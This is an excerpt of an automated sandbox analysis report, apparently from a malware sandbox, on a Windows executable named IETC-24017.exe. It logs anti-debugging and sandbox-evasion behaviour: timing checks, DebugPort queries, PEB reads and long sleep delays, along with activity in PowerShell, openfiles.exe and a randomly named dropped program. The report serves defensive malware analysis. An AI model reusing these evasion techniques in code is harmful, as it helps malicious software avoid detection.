Source: C:\Users\user\Desktop\IETC-24017.exe	Memory allocated: 2520000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Memory allocated: 7670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Memory allocated: 8670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Memory allocated: 8820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\IETC-24017.exe	Memory allocated: 9820000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\IETC-24017.exe

Code function: 3_2_0184096E rdtsc

3_2_0184096E

Source: C:\Users\user\Desktop\IETC-24017.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6193	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1481	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Window / User API: threadDelayed 5261	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Window / User API: threadDelayed 4712	Jump to behavior

Source: C:\Users\user\Desktop\IETC-24017.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\openfiles.exe	API coverage: 2.7 %

Source: C:\Users\user\Desktop\IETC-24017.exe TID: 1344	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7204	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7192	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe TID: 7636	Thread sleep time: -75000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe TID: 7636	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe TID: 7636	Thread sleep time: -57000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe TID: 7636	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe TID: 7636	Thread sleep time: -38000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 7496	Thread sleep count: 5261 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 7496	Thread sleep time: -10522000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 7496	Thread sleep count: 4712 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 7496	Thread sleep time: -9424000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\openfiles.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\openfiles.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\openfiles.exe

Code function: 7_2_007AC810 FindFirstFileW,FindNextFileW,FindClose,

7_2_007AC810

Source: C:\Users\user\Desktop\IETC-24017.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: UFUUPGsATdE.exe, 00000006.00000002.4124367001.0000000001230000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllJ4~L
Source: UFUUPGsATdE.exe, 00000006.00000002.4128892124.0000000005C44000.00000004.80000000.00040000.00000000.sdmp, openfiles.exe, 00000007.00000002.4125167672.0000000005344000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2123173632.0000000027544000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDVetU28pvZ34yHvxpWXSkTDrLK3GZY4KTcvrekEZG6yjfLNdbj2Uh03XrTe6i%2B27H4n49ja8Ogi1Rdb6chgfSukWlb8GlKvcL1Yvr%2Bkx55u9rn4ZQlfum6oUCKyIu8VGNphQQ%3D%3D"}],"group":"cf-nel","max_age":604800}
Source: openfiles.exe, 00000007.00000002.4123887775.0000000002B5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll(&
Source: firefox.exe, 0000000B.00000002.2124953475.00000220270FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllUU

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\IETC-24017.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\IETC-24017.exe

Code function: 3_2_0184096E rdtsc

3_2_0184096E

Source: C:\Users\user\Desktop\IETC-24017.exe

Code function: 3_2_00417A33 LdrLoadDll,

3_2_00417A33

Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01840185 mov eax, dword ptr fs:[00000030h]	3_2_01840185
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018BC188 mov eax, dword ptr fs:[00000030h]	3_2_018BC188
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018BC188 mov eax, dword ptr fs:[00000030h]	3_2_018BC188
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A4180 mov eax, dword ptr fs:[00000030h]	3_2_018A4180
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A4180 mov eax, dword ptr fs:[00000030h]	3_2_018A4180
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188019F mov eax, dword ptr fs:[00000030h]	3_2_0188019F
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188019F mov eax, dword ptr fs:[00000030h]	3_2_0188019F
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188019F mov eax, dword ptr fs:[00000030h]	3_2_0188019F
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188019F mov eax, dword ptr fs:[00000030h]	3_2_0188019F
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FC156 mov eax, dword ptr fs:[00000030h]	3_2_017FC156
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C61C3 mov eax, dword ptr fs:[00000030h]	3_2_018C61C3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C61C3 mov eax, dword ptr fs:[00000030h]	3_2_018C61C3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187E1D0 mov eax, dword ptr fs:[00000030h]	3_2_0187E1D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187E1D0 mov eax, dword ptr fs:[00000030h]	3_2_0187E1D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187E1D0 mov ecx, dword ptr fs:[00000030h]	3_2_0187E1D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187E1D0 mov eax, dword ptr fs:[00000030h]	3_2_0187E1D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0187E1D0 mov eax, dword ptr fs:[00000030h]	3_2_0187E1D0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018D61E5 mov eax, dword ptr fs:[00000030h]	3_2_018D61E5
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018301F8 mov eax, dword ptr fs:[00000030h]	3_2_018301F8
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE10E mov eax, dword ptr fs:[00000030h]	3_2_018AE10E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE10E mov ecx, dword ptr fs:[00000030h]	3_2_018AE10E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE10E mov eax, dword ptr fs:[00000030h]	3_2_018AE10E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE10E mov eax, dword ptr fs:[00000030h]	3_2_018AE10E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE10E mov ecx, dword ptr fs:[00000030h]	3_2_018AE10E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE10E mov eax, dword ptr fs:[00000030h]	3_2_018AE10E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE10E mov eax, dword ptr fs:[00000030h]	3_2_018AE10E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE10E mov ecx, dword ptr fs:[00000030h]	3_2_018AE10E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE10E mov eax, dword ptr fs:[00000030h]	3_2_018AE10E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE10E mov ecx, dword ptr fs:[00000030h]	3_2_018AE10E
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AA118 mov ecx, dword ptr fs:[00000030h]	3_2_018AA118
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AA118 mov eax, dword ptr fs:[00000030h]	3_2_018AA118
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AA118 mov eax, dword ptr fs:[00000030h]	3_2_018AA118
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AA118 mov eax, dword ptr fs:[00000030h]	3_2_018AA118
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C0115 mov eax, dword ptr fs:[00000030h]	3_2_018C0115
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01830124 mov eax, dword ptr fs:[00000030h]	3_2_01830124
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01894144 mov eax, dword ptr fs:[00000030h]	3_2_01894144
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01894144 mov eax, dword ptr fs:[00000030h]	3_2_01894144
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01894144 mov ecx, dword ptr fs:[00000030h]	3_2_01894144
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01894144 mov eax, dword ptr fs:[00000030h]	3_2_01894144
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01894144 mov eax, dword ptr fs:[00000030h]	3_2_01894144
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01898158 mov eax, dword ptr fs:[00000030h]	3_2_01898158
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01806154 mov eax, dword ptr fs:[00000030h]	3_2_01806154
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01806154 mov eax, dword ptr fs:[00000030h]	3_2_01806154
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FA197 mov eax, dword ptr fs:[00000030h]	3_2_017FA197
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FA197 mov eax, dword ptr fs:[00000030h]	3_2_017FA197
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FA197 mov eax, dword ptr fs:[00000030h]	3_2_017FA197
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180208A mov eax, dword ptr fs:[00000030h]	3_2_0180208A
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018980A8 mov eax, dword ptr fs:[00000030h]	3_2_018980A8
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C60B8 mov eax, dword ptr fs:[00000030h]	3_2_018C60B8
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018C60B8 mov ecx, dword ptr fs:[00000030h]	3_2_018C60B8
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018820DE mov eax, dword ptr fs:[00000030h]	3_2_018820DE
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FA020 mov eax, dword ptr fs:[00000030h]	3_2_017FA020
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FC020 mov eax, dword ptr fs:[00000030h]	3_2_017FC020
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018860E0 mov eax, dword ptr fs:[00000030h]	3_2_018860E0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018080E9 mov eax, dword ptr fs:[00000030h]	3_2_018080E9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018420F0 mov ecx, dword ptr fs:[00000030h]	3_2_018420F0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01884000 mov ecx, dword ptr fs:[00000030h]	3_2_01884000
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A2000 mov eax, dword ptr fs:[00000030h]	3_2_018A2000
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A2000 mov eax, dword ptr fs:[00000030h]	3_2_018A2000
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A2000 mov eax, dword ptr fs:[00000030h]	3_2_018A2000
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A2000 mov eax, dword ptr fs:[00000030h]	3_2_018A2000
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A2000 mov eax, dword ptr fs:[00000030h]	3_2_018A2000
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A2000 mov eax, dword ptr fs:[00000030h]	3_2_018A2000
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A2000 mov eax, dword ptr fs:[00000030h]	3_2_018A2000
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A2000 mov eax, dword ptr fs:[00000030h]	3_2_018A2000
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FC0F0 mov eax, dword ptr fs:[00000030h]	3_2_017FC0F0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181E016 mov eax, dword ptr fs:[00000030h]	3_2_0181E016
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181E016 mov eax, dword ptr fs:[00000030h]	3_2_0181E016
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181E016 mov eax, dword ptr fs:[00000030h]	3_2_0181E016
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181E016 mov eax, dword ptr fs:[00000030h]	3_2_0181E016
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FA0E3 mov ecx, dword ptr fs:[00000030h]	3_2_017FA0E3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01896030 mov eax, dword ptr fs:[00000030h]	3_2_01896030
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01802050 mov eax, dword ptr fs:[00000030h]	3_2_01802050
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01886050 mov eax, dword ptr fs:[00000030h]	3_2_01886050
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182C073 mov eax, dword ptr fs:[00000030h]	3_2_0182C073
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182438F mov eax, dword ptr fs:[00000030h]	3_2_0182438F
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0182438F mov eax, dword ptr fs:[00000030h]	3_2_0182438F
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A3C0 mov eax, dword ptr fs:[00000030h]	3_2_0180A3C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A3C0 mov eax, dword ptr fs:[00000030h]	3_2_0180A3C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A3C0 mov eax, dword ptr fs:[00000030h]	3_2_0180A3C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A3C0 mov eax, dword ptr fs:[00000030h]	3_2_0180A3C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A3C0 mov eax, dword ptr fs:[00000030h]	3_2_0180A3C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A3C0 mov eax, dword ptr fs:[00000030h]	3_2_0180A3C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018083C0 mov eax, dword ptr fs:[00000030h]	3_2_018083C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018083C0 mov eax, dword ptr fs:[00000030h]	3_2_018083C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018083C0 mov eax, dword ptr fs:[00000030h]	3_2_018083C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018083C0 mov eax, dword ptr fs:[00000030h]	3_2_018083C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018BC3CD mov eax, dword ptr fs:[00000030h]	3_2_018BC3CD
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018863C0 mov eax, dword ptr fs:[00000030h]	3_2_018863C0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE3DB mov eax, dword ptr fs:[00000030h]	3_2_018AE3DB
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE3DB mov eax, dword ptr fs:[00000030h]	3_2_018AE3DB
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE3DB mov ecx, dword ptr fs:[00000030h]	3_2_018AE3DB
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018AE3DB mov eax, dword ptr fs:[00000030h]	3_2_018AE3DB
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A43D4 mov eax, dword ptr fs:[00000030h]	3_2_018A43D4
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A43D4 mov eax, dword ptr fs:[00000030h]	3_2_018A43D4
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018103E9 mov eax, dword ptr fs:[00000030h]	3_2_018103E9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018103E9 mov eax, dword ptr fs:[00000030h]	3_2_018103E9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018103E9 mov eax, dword ptr fs:[00000030h]	3_2_018103E9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018103E9 mov eax, dword ptr fs:[00000030h]	3_2_018103E9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018103E9 mov eax, dword ptr fs:[00000030h]	3_2_018103E9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018103E9 mov eax, dword ptr fs:[00000030h]	3_2_018103E9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018103E9 mov eax, dword ptr fs:[00000030h]	3_2_018103E9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018103E9 mov eax, dword ptr fs:[00000030h]	3_2_018103E9
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FC310 mov ecx, dword ptr fs:[00000030h]	3_2_017FC310
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181E3F0 mov eax, dword ptr fs:[00000030h]	3_2_0181E3F0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181E3F0 mov eax, dword ptr fs:[00000030h]	3_2_0181E3F0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0181E3F0 mov eax, dword ptr fs:[00000030h]	3_2_0181E3F0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018363FF mov eax, dword ptr fs:[00000030h]	3_2_018363FF
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183A30B mov eax, dword ptr fs:[00000030h]	3_2_0183A30B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183A30B mov eax, dword ptr fs:[00000030h]	3_2_0183A30B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183A30B mov eax, dword ptr fs:[00000030h]	3_2_0183A30B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01820310 mov ecx, dword ptr fs:[00000030h]	3_2_01820310
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01882349 mov eax, dword ptr fs:[00000030h]	3_2_01882349
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188035C mov eax, dword ptr fs:[00000030h]	3_2_0188035C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188035C mov eax, dword ptr fs:[00000030h]	3_2_0188035C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188035C mov eax, dword ptr fs:[00000030h]	3_2_0188035C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188035C mov ecx, dword ptr fs:[00000030h]	3_2_0188035C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188035C mov eax, dword ptr fs:[00000030h]	3_2_0188035C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0188035C mov eax, dword ptr fs:[00000030h]	3_2_0188035C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A8350 mov ecx, dword ptr fs:[00000030h]	3_2_018A8350
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018CA352 mov eax, dword ptr fs:[00000030h]	3_2_018CA352
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017F8397 mov eax, dword ptr fs:[00000030h]	3_2_017F8397
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017F8397 mov eax, dword ptr fs:[00000030h]	3_2_017F8397
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017F8397 mov eax, dword ptr fs:[00000030h]	3_2_017F8397
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018A437C mov eax, dword ptr fs:[00000030h]	3_2_018A437C
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FE388 mov eax, dword ptr fs:[00000030h]	3_2_017FE388
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FE388 mov eax, dword ptr fs:[00000030h]	3_2_017FE388
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FE388 mov eax, dword ptr fs:[00000030h]	3_2_017FE388
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E284 mov eax, dword ptr fs:[00000030h]	3_2_0183E284
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0183E284 mov eax, dword ptr fs:[00000030h]	3_2_0183E284
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01880283 mov eax, dword ptr fs:[00000030h]	3_2_01880283
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01880283 mov eax, dword ptr fs:[00000030h]	3_2_01880283
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01880283 mov eax, dword ptr fs:[00000030h]	3_2_01880283
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017F826B mov eax, dword ptr fs:[00000030h]	3_2_017F826B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018102A0 mov eax, dword ptr fs:[00000030h]	3_2_018102A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018102A0 mov eax, dword ptr fs:[00000030h]	3_2_018102A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018962A0 mov eax, dword ptr fs:[00000030h]	3_2_018962A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018962A0 mov ecx, dword ptr fs:[00000030h]	3_2_018962A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018962A0 mov eax, dword ptr fs:[00000030h]	3_2_018962A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018962A0 mov eax, dword ptr fs:[00000030h]	3_2_018962A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018962A0 mov eax, dword ptr fs:[00000030h]	3_2_018962A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018962A0 mov eax, dword ptr fs:[00000030h]	3_2_018962A0
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017FA250 mov eax, dword ptr fs:[00000030h]	3_2_017FA250
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A2C3 mov eax, dword ptr fs:[00000030h]	3_2_0180A2C3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A2C3 mov eax, dword ptr fs:[00000030h]	3_2_0180A2C3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A2C3 mov eax, dword ptr fs:[00000030h]	3_2_0180A2C3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A2C3 mov eax, dword ptr fs:[00000030h]	3_2_0180A2C3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_0180A2C3 mov eax, dword ptr fs:[00000030h]	3_2_0180A2C3
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_017F823B mov eax, dword ptr fs:[00000030h]	3_2_017F823B
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018102E1 mov eax, dword ptr fs:[00000030h]	3_2_018102E1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018102E1 mov eax, dword ptr fs:[00000030h]	3_2_018102E1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018102E1 mov eax, dword ptr fs:[00000030h]	3_2_018102E1
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01888243 mov eax, dword ptr fs:[00000030h]	3_2_01888243
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01888243 mov ecx, dword ptr fs:[00000030h]	3_2_01888243
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_01806259 mov eax, dword ptr fs:[00000030h]	3_2_01806259
Source: C:\Users\user\Desktop\IETC-24017.exe	Code function: 3_2_018BA250 mov eax, dword ptr fs:[00000030h]	3_2_018BA250
